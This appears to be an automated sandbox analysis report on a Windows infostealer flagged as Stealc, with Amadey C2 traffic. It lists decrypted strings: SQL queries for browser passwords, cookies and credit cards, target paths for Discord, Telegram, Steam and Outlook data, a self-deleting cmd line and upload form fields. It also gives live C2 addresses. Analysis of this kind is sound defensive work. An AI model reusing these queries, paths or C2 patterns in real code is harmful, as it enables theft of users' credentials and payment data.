Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: history
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: History
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: open
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: files
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: done
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: https
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: build
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: token
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: file
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: message
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.fd0000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C956C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C956C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CAAA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA44C0 PK11_PubEncrypt,	0_2_6CAA44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA74420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CA74420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA4440 PK11_PrivDecrypt,	0_2_6CAA4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CAF25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CA8E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA88670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CA88670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CAAA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CACA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CAD0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA43B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CAA43B0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.84.141:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.84.141:443 -> 192.168.2.6:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.40.150:443 -> 192.168.2.6:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.169:443 -> 192.168.2.6:49923 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2782615459.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2782615459.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 5MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50016 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50024

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 17:45:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 